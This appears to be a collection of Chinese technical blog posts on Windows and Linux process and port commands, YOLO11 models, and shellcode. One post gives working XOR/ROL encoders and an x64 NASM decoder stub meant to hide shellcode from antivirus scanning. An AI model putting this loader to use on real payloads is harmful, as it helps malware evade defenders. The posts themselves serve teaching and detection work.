Windows 杀进程:按 PID / 按名字 / 按端口
Windows 上要杀个后台跑的进程,图形界面点半天不如命令行一条搞定。 按 PID 杀(最常用) CMD taskkill /PID 1234 /F1234 换成你的 PID /F 强制结束,不加有时杀不掉PowerShell Stop-Process -Id 1234 -Force不知道 PID 怎么办 按名字找 tasklist | findstr nginx按端口找(比如 8080 被占了) netstat -ano | findstr :8080最后一列就是 PID。也可以直接: Get-NetTCPConnection -LocalPort 8080 | Select-Object OwningProcess按进程名批量杀 嫌一个个找 PID 麻烦: taskkill /IM nginx.exe /F或者 PowerShell 通配: Stop-Process -Name "nginx" -Force杀不掉的情况 碰到 拒绝访问 / Access is denied,先看是不是这几种:权限不够——右键 CMD/PowerShell "以管理员身份运行" SYSTEM 保护进程——比如 System、Registry 是杀不掉的,动它系统会重启 进程被驱动挂钩——某些安全软件会保护自身进程,得先从安全软件里退出进程有子进程且需要一起清理时: taskkill /PID 1234 /T /F/T = 连同子进程一起杀。 一张表速查目的 命令按 PID 杀 taskkill /PID <pid> /F按进程名杀 taskkill /IM <name>.exe /F连子进程一起杀 taskkill /PID <pid> /T /F查端口占用 netstat -ano | findstr :<port>查进程名 tasklist | findstr <name>PowerShell 版本 Stop-Process -Id <pid> -Force
Shellcode 编码存储:XOR + ROL 混淆与 NASM 解码桩
为什么需要编码存储 直接将 Shellcode 十六进制字节写进源代码或二进制文件,常见特征扫描工具(AV / EDR)可以直接匹配已知字节序列识别载荷。对字节做简单变换后,原始特征不再出现在文件中,需要在运行时解码才能执行。 这是安全研究(红队测试、恶意软件分析)中最基础的混淆手段,理解它有助于防御侧编写检测规则。 单字节 XOR 编码(最常见) 原理:每个字节与固定 key 做异或,byte ^ key ^ key == byte,自逆。 // encode.js const hexString = `e903000000cccc...`; // 原始 Shellcode 十六进制 const KEY = 0x5A;function encodeXOR(hex, key) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = parseInt(hex.substr(i, 2), 16) ^ key; result += b.toString(16).padStart(2, '0'); } return result; }function hexToNasmDb(hex) { const lineLen = 16; let out = 'shellcode:\n'; for (let i = 0; i < hex.length; i += lineLen * 2) { const chunk = []; for (let j = i; j < i + lineLen * 2 && j < hex.length; j += 2) { chunk.push('0x' + hex.substr(j, 2)); } out += ` db ${chunk.join(', ')}\n`; } out += 'shellcode_len equ $-shellcode\n'; return out; }const encoded = encodeXOR(hexString, KEY); console.log(hexToNasmDb(encoded));对应 x64 NASM 解码 stub: section .text global _start_start: lea rsi, [rel shellcode] mov rcx, shellcode_len.decode: xor byte [rsi], 0x5A ; 与 KEY 异或还原 inc rsi loop .decode lea rax, [rel shellcode] jmp rax ; 跳转执行section .data shellcode: db 0xb3, 0x59, 0x5a, ... ; 编码后的字节 shellcode_len equ $-shellcodeROL(循环左移)编码 每字节循环左移 3 位,对应解码时循环右移 3 位(ROR 3): function rol8(value, shift) { shift &= 7; return ((value << shift) | (value >> (8 - shift))) & 0xFF; }function encodeROL(hex, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = rol8(parseInt(hex.substr(i, 2), 16), shift); result += b.toString(16).padStart(2, '0'); } return result; }x64 NASM 解码(ROR 3): .decode: ror byte [rsi], 3 inc rsi loop .decodeXOR + ROL 组合 先 XOR 再 ROL,解码时反序:先 ROR 再 XOR: function encodeCombined(hex, key = 0x5A, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { let b = parseInt(hex.substr(i, 2), 16); b ^= key; b = rol8(b, shift); result += b.toString(16).padStart(2, '0'); } return result; }对应解码 stub: .decode: mov al, [rsi] ror al, 3 ; 先 ROR(逆 ROL) xor al, 0x5A ; 再 XOR(逆 XOR) mov [rsi], al inc rsi loop .decode注意事项单字节 key 的局限:如果 Shellcode 里本来就包含 key 值的字节(如原始字节恰好 == 0x5A),编码后变为 0x00,仍然可能产生空字节。可以换一个不在原始字节中出现的 key,或改为多字节 rolling key。default rel(NASM):x64 NASM 中建议加 default rel 或显式用 [rel label] 引用数据,否则 64 位相对地址可能超出 32 位范围导致链接错误。loop 指令:loop 在 x64 默认使用 rcx 计数器,每次 dec rcx; jnz,效率低于 dec rcx; jnz。大量数据时可用 dec rcx / jnz 替代。完整流程 原始 Shellcode bytes ↓ JS 编码脚本(XOR / ROL) 编码后的 db 数组(写进 .asm 文件) ↓ NASM 汇编编译 包含解码 stub + 编码数据的二进制 ↓ 运行时执行 stub 循环还原字节 → 跳转执行原始 Shellcode这种 stub + payload 的结构是安全研究中分析加载器(Loader)的基础模型,理解它有助于识别真实样本中的解码阶段。
Shellcode 与汇编的关系:位置无关代码与空字节规避
关系概览 汇编源码 (.asm) ↓ 汇编器 (nasm / masm) 机器码(二进制字节) ↓ 满足额外约束 Shellcode汇编代码是人可读的指令文本;机器码是 CPU 直接执行的二进制;Shellcode 是专门设计的机器码,额外满足注入执行的要求。 为什么叫 Shellcode 最初漏洞利用(如栈溢出)的攻击载荷: [Shellcode][Padding][Return Address]覆盖返回地址后程序跳转到攻击者注入的代码,执行 /bin/sh 获得 Shell,因此得名。现代 Shellcode 不一定启动 Shell,常见用途包括:下载木马、注入 DLL、建立反向连接、调用系统 API。 位置无关代码(PIC) 普通可执行文件有固定加载地址;注入的 Shellcode 则可能落在任意地址,因此不能使用绝对地址引用字符串或函数。 x86 经典写法(call/pop 技巧): call get_rip get_rip: pop ebx ; ebx = 当前 IP,可作为基址计算偏移 ; 用 [ebx + offset] 访问数据而非绝对地址x64 更简洁,RIP 相对寻址天然支持 PIC: lea rax, [rip + data_offset]空字节(Null Byte)问题 许多漏洞场景通过字符串复制触发(如 strcpy),遇到 \x00 会截断。因此 Shellcode 必须避免产生空字节(0x00)。 反例: mov eax, 1 ; b8 01 00 00 00 → 含 \x00 ret ; c3机器码 b8 01 00 00 00 含三个 \x00,不适合作为 Shellcode。 改写后: xor eax, eax ; 31 c0 → eax = 0,无 \x00 inc eax ; 40 → eax = 1 ret ; c3机器码 31 c0 40 c3,无空字节。 常用规避技巧:原写法 替换写法mov eax, N(N 小于 256) xor eax, eax; mov al, Npush 0 xor ecx, ecx; push ecxmov eax, 0 xor eax, eax字符串末尾 \x00 运行时 xor [rsp+N], al 写入NX / DEP:现代系统的阻碍 现代操作系统将内存页分为可写(W)和可执行(X),默认两者不能同时开启: 代码段:R + X(可读可执行) 数据段:R + W(可读可写) 栈: R + W(默认无执行权限)因此攻击者把 Shellcode 注入栈或堆后,直接跳转执行会触发 NX/DEP 保护,产生访问违例。 绕过方式(了解原理即可):ROP(Return-Oriented Programming):链式复用代码段中已有的 gadget,不需要注入新代码。 JIT Spraying:利用 JIT 编译器生成可执行内存,注入伪装成合法代码的载荷。 mmap/VirtualAlloc + mprotect:合法申请可执行内存后拷贝并跳转(多见于合法场景如虚拟机)。汇编动态执行机器码的原理 以 C 伪码说明(仅描述原理): // 1. 申请可执行内存 void *mem = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC, ...);// 2. 写入机器码 memcpy(mem, shellcode_bytes, len);// 3. 跳转执行 ((void(*)())mem)();这等价于汇编: mov rax, <mem_addr> jmp rax ; CPU 将 mem_addr 处字节视为指令序列执行CPU 不区分"正常代码"和"Shellcode",只要内存页有执行权限,任何字节序列都可以执行。 小结概念 说明汇编 人可读的助记符指令文本机器码 汇编编译后的二进制Shellcode 满足 PIC + 无空字节 + 紧凑的机器码NX/DEP 阻止数据页执行的硬件/OS 保护PIC 代码不依赖绝对地址,可在任意内存位置运行实际安全研究中,Shellcode 的开发、测试和分析都在受控的授权测试环境中进行。理解底层原理有助于防御侧识别攻击特征和设计更有效的检测规则。
YOLO11 预训练模型指南:Ultralytics、Roboflow Universe 与 HuggingFace
Ultralytics 官方预训练模型 YOLO11 由 Ultralytics 维护,提供五档大小(n/s/m/l/x),覆盖四类主要任务:任务 示例权重 用途目标检测 yolo11n.pt ~ yolo11x.pt 输出 bbox + 类别实例分割 yolo11n-seg.pt ~ yolo11x-seg.pt 输出精确 Mask姿态识别 yolo11n-pose.pt ~ yolo11x-pose.pt 人体关键点旋转框(OBB) yolo11n-obb.pt ~ yolo11x-obb.pt 遥感/倾斜目标默认基于 COCO 80 类训练,可直接检测人、车、猫狗、手机、键盘等常见目标: from ultralytics import YOLOmodel = YOLO("yolo11m.pt") results = model("image.jpg")推理返回的 results 包含 bbox 坐标(xywh 或 xyxy)、置信度和类别 ID。 实例分割 model = YOLO("yolo11m-seg.pt") results = model("image.jpg")# 获取多边形点集(可直接转 YOLO 分割格式) for r in results: for mask in r.masks.xy: print(mask) # [[x, y], ...]垂直场景预训练权重 不需要从头训练的常见场景权重可在以下平台获取: Roboflow Universe:提供数千个社区训练好的 YOLO 权重,支持直接下载或 API 调用。常见方向:安全帽检测(工地、工厂) 烟火检测 跌倒检测 车牌识别 PCB 缺陷检测 路面裂缝HuggingFace:搜索 "yolo11" 或 "yolov8" 可找到专有领域微调版本,包含医学图像、农业、无人机航拍等方向。 更多可用模型 除 YOLO11 外,以下模型各有优势:模型 特点 适用场景YOLO-World 文本描述直接检测任意目标 零样本检测YOLO12 Attention 架构,精度更高 精度优先RT-DETR Transformer 检测器,速度快 部署优先RF-DETR 小数据集效果好 数据少的场景YOLOX 无 AGPL 协议争议 商业部署PP-YOLOE 百度飞桨出品 国内生态YOLO-World 示例 from ultralytics import YOLOmodel = YOLO("yolov8s-worldv2.pt")# 设置类别(无需重新训练) model.set_classes(["car", "person", "safety helmet"])results = model("image.jpg")输入类别名称即可检测,适合快速验证和标注辅助。 推荐工作流 没有垂直场景数据时: 1. 从 Roboflow Universe 找现有权重 2. 用预训练权重对自己数据集预标注 3. 人工审核 + 修正 4. 在预训练权重基础上微调(而非从头训练)微调比从头训练所需的数据量少 3~5 倍,收敛速度也更快。
PID 和端口互查:Linux 和 Windows 的常用命令
调试服务、清理端口占用、看某个进程到底连了哪儿——PID 和端口互查是日常操作。整理一份速查。 Linux:按端口找 PID 现代系统首选 ss(netstat 老了,很多发行版默认不装): ss -lntp | grep :8080输出: LISTEN 0 128 *:8080 *:* users:(("java",pid=12345,fd=45))PID 就是 12345。要看 UDP 加 -u,全协议 ss -tulnp。 lsof 也行,输出更清楚: sudo lsof -i:8080Linux:按 PID 找端口 ss -tunp | grep "pid=12345"或者: sudo lsof -Pan -p 12345 -i后者会同时列出该进程的所有连接(监听 + 已连接),排查网络问题特别顺手: COMMAND PID USER FD TYPE DEVICE NAME java 12345 root 45u IPv4 TCP *:8080 (LISTEN) java 12345 root 46u IPv4 TCP 10.0.0.5:8080->8.8.8.8:443 (ESTABLISHED)Linux:查所有监听端口 ss -lntp # TCP ss -lunp # UDP ss -tulnp # 全部Windows:按端口找 PID netstat -ano | findstr :8080输出最后一列是 PID。看进程名: tasklist | findstr 12345PowerShell 版本更直观: Get-NetTCPConnection -LocalPort 8080 | Select-Object LocalAddress, State, OwningProcess | Format-TableWindows:按 PID 找端口 netstat -ano | findstr 12345PowerShell: Get-NetTCPConnection | Where-Object OwningProcess -eq 12345Docker 里的进程 服务在容器里跑,宿主机 ss 只看到 docker-proxy。有两种方式: 宿主机上看容器映射: docker ps --format 'table {{.Names}}\t{{.Ports}}'进容器里看真实进程: docker exec -it <container> ss -lntpWindows:把占端口的进程杀掉 一条链: for /f "tokens=5" %a in ('netstat -ano ^| findstr :8080 ^| findstr LISTENING') do taskkill /PID %a /F或者 PowerShell: Get-NetTCPConnection -LocalPort 8080 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }Linux:一条命令连查带杀 sudo fuser -k 8080/tcpfuser 会把所有占用 8080/TCP 的进程直接杀掉,慎用。 一个小坑:找不到 PID Linux 上 ss 或 lsof 有时看不到 PID: users:(("java",pid=?,fd=?))多半是没加 sudo——别的用户的进程只有 root 能看。 Windows 上 netstat -ano 看到 PID 4 的东西一般是内核网络栈(System 进程),不是你的应用。 一句话总结 Linux 用 ss -lntp + lsof,Windows 用 netstat -ano + tasklist。PowerShell 用户直接上 Get-NetTCPConnection 更顺。
